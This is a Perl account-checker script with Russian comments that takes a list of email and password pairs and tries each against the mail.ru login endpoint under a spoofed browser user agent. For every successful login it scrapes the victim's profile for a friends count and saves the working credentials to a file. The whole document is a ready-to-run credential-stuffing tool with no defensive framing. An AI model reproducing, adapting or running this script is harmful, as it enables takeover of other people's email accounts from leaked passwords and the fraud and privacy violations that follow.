Code
#!/usr/bin/perl
#(c) dpe
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
###################################CONFIG############################
my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';'; #разделитель
##################################END################################
open(BASE, "<$accs") || die "File accs.txt NOT FOUND!!!";
chomp(@accs = <BASE>);
close(BASE);
open(FILE, ">>acss_with_friends.txt");
while(my $acc = shift(@accs)) {
my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?)$acc_delm(.+?)$/;
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
$ua->cookie_jar({});
my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/) {
#print "[+]" .$login."@".$domain." : ".$pass."\n" ;
my $dom =$1 if $domain=~/(.*).ru/;
my $parse=$ua->get('http://my.mail.ru/'.$dom.'/'.$login.'/')->content;
if ($parse=~/<span class="h2span mr2">(.*)<\/span><\/h2>/) {
print "[+]" .$login."@".$domain." : ".$pass." : [ ".$1." ]\n";
print FILE $login."@".$domain." : ".$pass." : ".$1."\n";}
else {
print "[+]" .$login."@".$domain." : ".$pass." : [ friends not found ]\n";}
} else {
print "[-]" .$login."@".$domain." : ".$pass."\n" ;
}
}
